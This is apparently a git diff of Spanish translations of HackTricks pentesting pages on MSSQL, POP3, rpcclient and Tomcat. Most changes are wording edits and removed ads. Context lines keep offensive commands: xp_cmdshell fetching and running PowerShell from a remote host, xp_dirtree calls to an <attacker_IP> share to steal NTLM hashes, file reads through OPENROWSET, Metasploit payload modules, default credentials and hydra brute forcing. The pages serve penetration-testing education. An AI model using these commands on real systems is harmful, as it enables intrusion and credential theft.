* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
Desde [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** es un sistema de gestión de bases de datos **relacional** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software con la función principal de almacenar y recuperar datos solicitados por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluido Internet).\
|
||||
> **Microsoft SQL Server** es un sistema de gestión de bases de datos **relacional** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software con la función principal de almacenar y recuperar datos solicitados por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluido Internet).
|
||||
|
||||
**Puerto predeterminado:** 1433
|
||||
```
|
||||
|
@ -86,7 +78,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
### [**Ataque de fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Enumeración Manual
|
||||
|
||||
|
@ -158,7 +150,7 @@ SELECT * FROM sysusers
|
|||
- **Base de datos** – Ejemplos abarcan roles de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||
- **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos se realiza en dos niveles:
|
||||
- A nivel de **Servidor** utilizando inicios de sesión
|
||||
- A nivel de **Base de datos** utilizando usuarios
|
||||
|
||||
|
@ -222,7 +214,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
```
|
||||
### Robo de hash NetNTLM / Ataque de relay
|
||||
|
||||
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder`, por ejemplo).
|
||||
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder` por ejemplo).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -235,7 +227,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Puedes verificar si alguien (aparte de los administradores del sistema) tiene permisos para ejecutar esas funciones de MSSQL con:
|
||||
Puedes verificar quién (aparte de los sysadmins) tiene permisos para ejecutar esas funciones de MSSQL con:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -281,7 +273,7 @@ EXECUTE sp_OADestroy @OLE
|
|||
```
|
||||
### **Leer archivo con** OPENROWSET
|
||||
|
||||
Por defecto, `MSSQL` permite **leer archivos en cualquier archivo en el sistema operativo al que la cuenta tenga acceso de lectura**. Podemos usar la siguiente consulta SQL:
|
||||
Por defecto, `MSSQL` permite **leer archivos en cualquier ubicación del sistema operativo a la que la cuenta tenga acceso de lectura**. Podemos utilizar la siguiente consulta SQL:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
|
@ -318,7 +310,7 @@ GO
|
|||
```
|
||||
### Leer Registro
|
||||
|
||||
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
|
||||
| **Regular** | **Consciente de la instancia** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -353,15 +345,6 @@ Es posible **cargar un archivo .NET dentro de MSSQL con funciones personalizadas
|
|||
|
||||
Existen otros métodos para obtener ejecución de comandos, como agregar [procedimientos almacenados extendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Ensamblados CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabajos de Agente de SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) y [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Escalada de Privilegios en MSSQL
|
||||
|
||||
### De db\_owner a sysadmin
|
||||
|
@ -456,29 +439,29 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Extrayendo contraseñas de SQL Server Linked Servers
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo.
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las Instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo.
|
||||
El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione.
|
||||
En primer lugar, debes tener derechos de administrador en la máquina, o la capacidad de gestionar las configuraciones de SQL Server.
|
||||
En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
|
||||
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
|
||||
Después de validar sus permisos, es necesario configurar tres cosas, que son las siguientes:
|
||||
1. Habilitar TCP/IP en las instancias de SQL Server;
|
||||
2. Agregar un parámetro de inicio, en este caso, se agregará un flag de rastreo, que es -T7806.
|
||||
2. Agregar un parámetro de inicio, en este caso, se agregará un indicador de seguimiento, que es -T7806.
|
||||
3. Habilitar la conexión de administrador remoto.
|
||||
|
||||
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios.
|
||||
Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
|
||||
|
||||
Para obtener más información, consulta los siguientes enlaces sobre este ataque:
|
||||
[Descifrando contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Para obtener más información, consulte los siguientes enlaces sobre este ataque:
|
||||
[Descifrado de contraseñas de Linked Servers de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Resolviendo problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Resolución de problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalada de Privilegios Local
|
||||
|
||||
El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\
|
||||
Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas:
|
||||
El usuario que ejecuta el servidor MSSQL habrá habilitado el token de privilegio **SeImpersonatePrivilege.**\
|
||||
Probablemente podrá **escalar a Administrador** siguiendo una de estas 2 páginas:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -501,18 +484,6 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -570,7 +541,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -32,7 +32,7 @@ openssl s_client -connect <IP>:995 -crlf -quiet
|
|||
|
||||
Puedes usar el comando `CAPA` para obtener las capacidades del servidor POP3.
|
||||
|
||||
## Automated
|
||||
## Automatizado
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
|
@ -85,13 +85,15 @@ password: PA$$W0RD!Z
|
|||
|
||||
Desde [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Configuración** | **Descripción** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Habilita todo el registro de depuración de autenticación. |
|
||||
| `auth_debug_passwords` | Esta configuración ajusta la verbosidad del registro, se registran las contraseñas enviadas y el esquema. |
|
||||
| `auth_verbose` | Registra intentos de autenticación fallidos y sus razones. |
|
||||
| `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también se pueden truncar. |
|
||||
| `auth_anonymous_username` | Esto especifica el nombre de usuario que se utilizará al iniciar sesión con el mecanismo SASL ANONYMOUS. |
|
||||
| **Configuración** | **Descripción** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Habilita todo el registro de depuración de autenticación. |
|
||||
| `auth_debug_passwords` | Esta configuración ajusta la verbosidad del registro, se registran las contraseñas enviadas y el esquema. |
|
||||
| `auth_verbose` | Registra intentos de autenticación fallidos y sus razones. |
|
||||
| `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también pueden truncarse. |
|
||||
| `auth_anonymous_username` | Esto especifica el nombre de usuario a utilizar al iniciar sesión con el mecanismo SASL ANONYMOUS. |
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 110 #Comma separated if there is more than one.
|
||||
|
@ -134,15 +136,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Enumeración de rpcclient
|
||||
# Enumeración con rpcclient
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### **¿Qué es un RID?**
|
||||
|
||||
### Descripción general de Identificadores Relativos (RID) e Identificadores de Seguridad (SID)
|
||||
|
||||
**Identificadores Relativos (RID)** e **Identificadores de Seguridad (SID)** son componentes clave en los sistemas operativos Windows para identificar y gestionar de forma única objetos, como usuarios y grupos, dentro de un dominio de red.
|
||||
**Los Identificadores Relativos (RID)** y **los Identificadores de Seguridad (SID)** son componentes clave en los sistemas operativos Windows para identificar y gestionar de forma única objetos, como usuarios y grupos, dentro de un dominio de red.
|
||||
|
||||
- Los **SIDs** sirven como identificadores únicos para los dominios, asegurando que cada dominio sea distinguible.
|
||||
- Los **RIDs** se añaden a los SIDs para crear identificadores únicos para objetos dentro de esos dominios. Esta combinación permite un seguimiento preciso y una gestión de los permisos de objetos y controles de acceso.
|
||||
- **Los SID** sirven como identificadores únicos para los dominios, asegurando que cada dominio sea distinguible.
|
||||
- **Los RID** se añaden a los SID para crear identificadores únicos para objetos dentro de esos dominios. Esta combinación permite un seguimiento preciso y la gestión de permisos de objetos y controles de acceso.
|
||||
|
||||
Por ejemplo, un usuario llamado `pepe` podría tener un identificador único que combina el SID del dominio con su RID específico, representado en formatos hexadecimal (`0x457`) y decimal (`1111`). Esto resulta en un identificador completo y único para pepe dentro del dominio como: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
@ -45,7 +37,7 @@ La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos fi
|
|||
* Los **usuarios se pueden listar** utilizando: `querydispinfo` y `enumdomusers`.
|
||||
* **Detalles de un usuario** con: `queryuser <0xrid>`.
|
||||
* **Grupos de un usuario** con: `queryusergroups <0xrid>`.
|
||||
* Se recupera el **SID de un usuario** a través de: `lookupnames <nombre de usuario>`.
|
||||
* **Se recupera el SID de un usuario** a través de: `lookupnames <nombredeusuario>`.
|
||||
* **Alias de usuarios** mediante: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
|
@ -74,7 +66,7 @@ done
|
|||
|
||||
#### Enumeración de Comparticiones
|
||||
|
||||
* **Todas las comparticiones disponibles** con: `netshareenumall`.
|
||||
* **Todas las comparticiones disponibles** mediante: `netshareenumall`.
|
||||
* **Se obtiene información sobre una compartición específica** con: `netsharegetinfo <share>`.
|
||||
|
||||
#### Operaciones Adicionales con SIDs
|
||||
|
@ -94,8 +86,8 @@ done
|
|||
| enumdomgroups | Enumerar grupos de dominio | |
|
||||
| createdomuser | Crear un usuario de dominio | |
|
||||
| deletedomuser | Eliminar un usuario de dominio | |
|
||||
| lookupnames | LSARPC | Buscar nombres de usuario para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Buscar SIDs para nombres de usuario (ciclado de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lookupnames | LSARPC | Buscar nombres de usuario a valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Buscar SIDs a nombres de usuario (ciclado de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Agregar derechos a una cuenta de usuario | |
|
||||
| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | |
|
||||
| dsroledominfo | LSARPC-DS | Obtener información del dominio principal |
|
||||
|
@ -103,20 +95,13 @@ done
|
|||
|
||||
Para **comprender** mejor cómo funcionan las herramientas _**samrdump**_ **y** _**rpcdump**_ debes leer [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -37,9 +37,9 @@ Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuar
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Credenciales predeterminadas**
|
||||
### **Credenciales Predeterminadas**
|
||||
|
||||
El directorio **`/manager/html`** es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo:
|
||||
El directorio **`/manager/html`** es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica de HTTP, con credenciales comunes siendo:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -52,7 +52,7 @@ Estas credenciales pueden ser probadas usando:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades.
|
||||
Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, lo que ayuda en la identificación de vulnerabilidades.
|
||||
|
||||
### **Ataque de Fuerza Bruta**
|
||||
|
||||
|
@ -62,9 +62,9 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
```
|
||||
## Vulnerabilidades Comunes
|
||||
|
||||
### **Divulgación de Rastreo de Contraseña**
|
||||
### **Divulgación de Rastro de Contraseña**
|
||||
|
||||
Acceder a `/auth.jsp` puede revelar la contraseña en un rastreo bajo circunstancias afortunadas.
|
||||
Acceder a `/auth.jsp` puede revelar la contraseña en un rastro bajo circunstancias afortunadas.
|
||||
|
||||
### **Codificación de URL Doble**
|
||||
|
||||
|
@ -74,7 +74,7 @@ Para acceder a la interfaz web de gestión de Tomcat, vaya a: `rutaTomcat/%252E%
|
|||
|
||||
### /ejemplos
|
||||
|
||||
